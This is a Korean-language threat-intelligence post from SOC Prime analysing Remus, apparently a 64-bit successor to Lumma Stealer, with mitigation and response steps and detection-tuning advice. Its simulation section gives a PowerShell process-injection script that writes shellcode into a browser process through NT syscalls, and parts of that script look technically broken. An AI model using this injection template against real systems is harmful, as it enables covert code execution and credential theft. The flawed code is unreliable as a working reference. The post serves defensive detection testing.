SOC Prime Bias: 보통

09 4월 2026 18:22

Remus: 64비트 진화를 거듭한 루마 스틸러의 해체

Author Photo
SOC Prime Team linkedin icon 팔로우
Remus: 64비트 진화를 거듭한 루마 스틸러의 해체
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

Gen Threat Labs는 Lumma Stealer 계통의 직접적인 후속작으로 보이는 새로운 64비트 정보 탈취기인 Remus를 식별했습니다. 이는 Lumma의 기술을 반영하며, 알려진 문자열 난독화, 반가상 머신 로직, 직접 시스템 호출 실행 및 이전에 Lumma와 연결된 특이한 응용 프로그램 바인딩 암호화 (ABE) 우회를 포함합니다. Remus는 또한 C2 해상도 모델을 전환하며, Steam과 Telegram의 데드 드롭 해상도 대신, Ethereum 스마트 계약을 사용하여 명령 및 제어 엔드포인트를 결정하는 EtherHiding을 채택합니다. 2026년 2월부터 관찰된 이 캠페인은 브라우저 중심의 도난을 중심으로 자격 증명, 쿠키 및 암호화폐 지갑 데이터를 대상으로 합니다.

조사

분석가들은 Remus 샘플을 과거의 Lumma 바이너리와 비교했으며, 일치하는 코드 구조, 공유된 와일드카드 스타일 문자열 및 동일한 ABE 우회 접근을 포함하여 겹치는 구현 세부 사항을 발견했습니다. ‘Tenzor’로 레이블이 붙은 과도기 빌드를 두 계열 간의 다리로 관찰했습니다. 리버스 엔지니어링은 Remus가 dpapi.dll을 찾고, 내보낸 API 이름을 해싱하며 크롬에 셸 코드 주입을 시도하는 것을 보여줍니다. 주입이 실패할 경우, 시스템 토큰 가장을 사용하여 실행 지렛대를 다시 확보합니다. 최신 반분석 추가 기능에는 샌드박스 DLL 해시 확인 및 분석 환경을 탐지하기 위한 ‘허니팟’ PST 파일 존재 테스트가 포함됩니다.

완화

경계에서 알려진 Remus 관련 C2 IP/도메인을 차단하고 스마트 계약 기반 C2 해상도와 일치하는 비정상적인 조회나 트래픽 패턴을 포함한 EtherHiding 동작을 모니터링합니다. 엔드포인트에서는 직접 시스템 호출 사용, API 해싱 및 숨겨진 데스크톱 생성 등을 포함한 은폐 실행과 일치하는 아티팩트에 대한 탐지를 우선시합니다. 크롬 기반 환경에서 브라우저 노출을 줄이고 허가되지 않은 코드 주입 및 의심스러운 미승인 실행 파일이 실행되지 못하게 엄격한 응용 프로그램 제어를 시행합니다.

대응

Remus 지표가 관찰되면 호스트를 고립시키고 메모리 덤프 및 전체 프로세스 트리를 캡처하며 주입된 브라우저 프로세스에 대해 집중 포렌식을 수행합니다. 확인된 모든 C2 인프라를 차단하고, 노출된 자격 증명을 철회하고 저장된 브라우저 비밀번호/토큰을 재설정합니다. 와일드카드 문자열 B9%????4rnO/@NQe?Nx* 및 보고된 51바이트 셸 코드 시그니처를 포함하도록 탐지를 업데이트합니다.

graph TB classDef malware fill:#ff9999 classDef technique fill:#99ccff classDef process fill:#ffcc99 classDef action fill:#c2f0c2 malware_remus[“<b>멀웨어</b> – Remus<br/><b>설명</b>: 모듈형 뱅킹 트로이 목마, 안티 분석 및 크리덴셜 탈취 기능”] class malware_remus malware tech_anti_analysis[“<b>기법</b> – T1497.002 샌드박스/가상화 회피<br/><b>설명</b>: 하이퍼바이저 문자열 및 분석 DLL 감지 시 실행 중단”] class tech_anti_analysis technique c2_resolve[“<b>행동</b> – C2 확인<br/><b>설명</b>: C2 서버 주소 결정”] class c2_resolve action tech_unpacking[“<b>기법</b> – T1027.002 난독화 파일/패킹<br/><b>설명</b>: 문자열 난독화 및 직접 시스템 콜 사용”] class tech_unpacking technique tech_reflective_load[“<b>기법</b> – T1620 리플렉티브 코드 로딩<br/><b>설명</b>: Chromium 프로세스에 쉘코드 주입”] class tech_reflective_load technique process_chrome[“<b>프로세스</b> – Chrome/Chromium<br/><b>설명</b>: 대상 브라우저 프로세스”] class process_chrome process tech_browser_cred[“<b>기법</b> – T1555.003 브라우저 자격 증명<br/><b>설명</b>: 비밀번호 및 쿠키 추출”] class tech_browser_cred technique tech_general_cred[“<b>기법</b> – T1555 자격 증명 저장소<br/><b>설명</b>: 탈취 데이터 패키징”] class tech_general_cred technique action_exfiltration[“<b>행동</b> – 데이터 유출<br/><b>설명</b>: C2로 전송”] class action_exfiltration action malware_remus –>|수행| tech_anti_analysis tech_anti_analysis –>|진행| c2_resolve c2_resolve –>|로드| tech_unpacking tech_unpacking –>|사용| tech_reflective_load tech_reflective_load –>|주입| process_chrome process_chrome –>|활성화| tech_browser_cred tech_browser_cred –>|생성| tech_general_cred tech_general_cred –>|유출| action_exfiltration

공격 흐름

시뮬레이션 실행

전제 조건: Telemetry & Baseline Pre‑flight Check가 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적대적 기술(TTP)의 구체적인 실행을 설명합니다. 명령과 설명은 반드시 식별된 TTP를 직접 반영해야 하며 탐지 로직에 의해 기대되는 정확한 원격 측정을 생성해야 합니다.

  • 공격 서사 및 명령:

    1. 프로세스 선택: 실행 중인 인스턴스를 식별합니다 browser.exe (이름이 변경된 Chrome) 및 PID를 획득합니다.
    2. 쉘 코드 준비: 작은 “calc.exe” 실행 셸 코드를 만듭니다(개념 증명을 위한 일반적 예제).
    3. 메모리 할당: 를 호출합니다 NtAllocateVirtualMemory 대상 프로세스의 컨텍스트에서 RWX 영역을 예약하기 위해
    4. 셸 코드 주입: Use NtWriteVirtualMemory 를 사용하여 할당된 영역에 셸 코드를 복사합니다.
    5. 실행: 원격 스레드를 생성하여 NtCreateThreadEx 로 시작 주소에서 실행을 시작합니다.
  • 회귀 테스트 스크립트:

    # Remus‑ABE 시뮬레이션 - 네이티브 NT‑syscalls를 사용하는 PowerShell 구현
    # 관리자 권한으로 실행 필요
    
    Add-Type -Namespace Win32 -Name NativeMethods -MemberDefinition @"
        using System;
        using System.Runtime.InteropServices;
    
        public class NativeMethods {
            [DllImport("ntdll.dll", SetLastError = true)]
            public static extern UInt32 NtAllocateVirtualMemory(
                IntPtr ProcessHandle,
                ref IntPtr BaseAddress,
                UIntPtr ZeroBits,
                ref UIntPtr RegionSize,
                UInt32 AllocationType,
                UInt32 Protect);
    
            [DllImport("ntdll.dll", SetLastError = true)]
            public static extern UInt32 NtWriteVirtualMemory(
                IntPtr ProcessHandle,
                IntPtr BaseAddress,
                byte[] Buffer,
                UInt32 BufferLength,
                out UInt32 BytesWritten);
    
            [DllImport("ntdll.dll", SetLastError = true)]
            public static extern UInt32 NtCreateThreadEx(
                out IntPtr ThreadHandle,
                UInt32 DesiredAccess,
                IntPtr ObjectAttributes,
                IntPtr ProcessHandle,
                IntPtr StartAddress,
                IntPtr Parameter,
                UInt32 CreateSuspended,
                UInt32 StackZeroBits,
                UInt32 SizeOfStackCommit,
                UInt32 SizeOfStackReserve,
                IntPtr AttributeList);
        }
    "@
    
    # 1️⃣ 타겟 browser.exe 프로세스를 식별
    $target = Get-Process -Name browser -ErrorAction Stop
    $hProcess = $target.Handle
    
    # 2️⃣ 셸코드 - calc.exe 실행 (Windows x64)
    $shellcode = [Byte[]](
        0x48,0x31,0xC0,                         # xor rax,rax
        0x48,0x89,0xC2,                         # mov rdx,rax
        0x48,0x89,0xC6,                         # mov rsi,rax
        0x48,0x89,0xC7,                         # mov rdi,rax
        0x48,0x8D,0x15,0x0F,0x00,0x00,0x00,    # lea rdx,[rip+0xf] ; "calc.exe"
        0x48,0xC7,0xC0,0xC7,0x00,0x00,0x00,    # mov rax,0xc7 (WinExec)
        0xFF,0xD0,                             # call rax
        0xC3,                                   # ret
        # "calc.exe" string
        0x63,0x61,0x6C,0x63,0x2E,0x65,0x78,0x65,0x00
    )
    
    # 3️⃣ 타겟의 RWX 메모리 할당
    $baseAddress = [IntPtr]::Zero
    $regionSize = [UIntPtr]$shellcode.Length
    $allocResult = [Win32.NativeMethods]::NtAllocateVirtualMemory(
        $hProcess,
        [ref]$baseAddress,
        [UIntPtr]0,
        [ref]$regionSize,
        0x3000,   # MEM_COMMIT|MEM_RESERVE
        0x40      # PAGE_EXECUTE_READWRITE
    )
    if ($allocResult -ne 0) { Write-Error "NtAllocateVirtualMemory 실패: 0x$($allocResult.ToString('X'))" }
    
    # 4️⃣ 셸코드 기록
    $bytesWritten = 0
    $writeResult = [Win32.NativeMethods]::NtWriteVirtualMemory(
        $hProcess,
        $baseAddress,
        $shellcode,
        $shellcode.Length,
        [ref]$bytesWritten
    )
    if ($writeResult -ne 0) { Write-Error "NtWriteVirtualMemory 실패: 0x$($writeResult.ToString('X'))" }
    
    # 5️⃣ 원격 스레드 생성
    $hThread = [IntPtr]::Zero
    $createResult = [Win32.NativeMethods]::NtCreateThreadEx(
        [ref]$hThread,
        0x1F03FF,   # THREAD_ALL_ACCESS
        $hProcess,
        $baseAddress,
        0,          # 일시중단되지 않음
        0,0,0,
    )
    if ($createResult -ne 0) { Write-Error "NtCreateThreadEx 실패: 0x$($createResult.ToString('X'))" }
    else { Write-Host "쉘코드 주입 성공 - 원격 스레드 시작됨 (핸들: $hThread)" }
  • 정리 명령:

    # 주입된 스레드를 종료하고 할당된 메모리를 해제합니다.
    $proc = Get-Process -Name browser -ErrorAction SilentlyContinue
    if ($proc) {
        $hProcess = $proc.Handle
        # 스레드 핸들 닫기
        if ($hThread -ne [IntPtr]::Zero) {
            [System.Runtime.InteropServices.Marshal]::Release($hThread) | Out-Null
        }
        # 메모리 해제(NtFreeVirtualMemory)
        $freeAddr = $baseAddress
        $regionSize = [UIntPtr]$shellcode.Length
        $null = [Win32.NativeMethods]::NtFreeVirtualMemory($hProcess, [ref]$freeAddr, [ref]$regionSize, 0x8000) # MEM_RELEASE
    }
    Write-Host "정리 완료."

권장 사항 요약

  1. 프로세스 범위 확대: 다른 중요한 프로세스(예: explorer.exe, svchost.exe)를 포함하여 ABE 시도를 포착합니다. browser.exe 이름을 피합니다.
  2. 시스템 호출 범위 확장: Add NtMapViewOfSection, NtCreateSectionNtProtectVirtualMemory 목록으로 Syscall|contains 추가합니다.
  3. 행동 이상 탐지: 대형 메모리 할당과RegionSize > 1 MB후속 NtWriteVirtualMemory 동일한 프로세스에서 비정상적 주입 패턴을 플래그하여 연결합니다.
  4. 알려진 합법적인 시나리오 화이트리스트: 브라우저가 프로세스 내 메모리 쓰기를 합법적으로 수행하는 경우(예: 플러그인을 통해)의 허가 목록을 생성하여 오탐을 줄입니다.

이 강화 단계를 구현하면 규칙의 저항력 수준을 3 에서 4‑5 등급으로 상향하여 적이 우회를 시도하기 매우 어렵게 만듭니다.